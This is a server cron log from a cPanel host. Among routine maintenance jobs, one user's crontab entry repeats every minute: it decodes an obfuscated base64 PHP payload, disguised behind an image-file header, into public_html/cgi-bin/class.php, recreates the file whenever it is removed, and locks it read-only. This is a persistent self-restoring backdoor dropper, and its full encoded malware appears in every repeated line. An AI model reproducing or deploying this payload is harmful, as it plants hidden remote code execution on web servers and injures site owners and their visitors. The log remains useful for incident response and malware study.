Sep  7 12:43:01 server CROND[32557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:44:01 server CROND[488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:44:01 server CROND[487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:44:01 server CROND[489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:45:02 server CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:45:02 server CROND[1007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:45:02 server CROND[1008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:45:02 server CROND[1009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:45:02 server CROND[1015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:45:02 server CROND[1016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:45:02 server CROND[1010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:46:01 server CROND[1932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:46:01 server CROND[1933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:46:01 server CROND[1935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:47:01 server CROND[2346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:47:01 server CROND[2347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:47:01 server CROND[2348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:48:01 server CROND[2783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:48:01 server CROND[2784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:48:01 server CROND[2785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:49:01 server CROND[3230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:49:01 server CROND[3231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:49:01 server CROND[3229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:50:01 server CROND[3722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:50:01 server CROND[3723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:50:01 server CROND[3725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:50:01 server CROND[3738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:50:01 server CROND[3737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:50:01 server CROND[3741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:50:01 server CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:50:01 server CROND[3739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:50:01 server CROND[3742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:51:01 server CROND[4576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:51:01 server CROND[4577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:51:01 server CROND[4578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:52:01 server CROND[4964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:52:01 server CROND[4965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:52:01 server CROND[4967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:53:01 server CROND[5347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:53:01 server CROND[5348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:53:01 server CROND[5349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:54:01 server CROND[5731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:54:01 server CROND[5732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:54:02 server CROND[5733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:55:01 server CROND[6212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:55:01 server CROND[6226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:55:01 server CROND[6231]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:55:01 server CROND[6229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:55:01 server CROND[6227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:55:01 server CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:55:01 server CROND[6228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
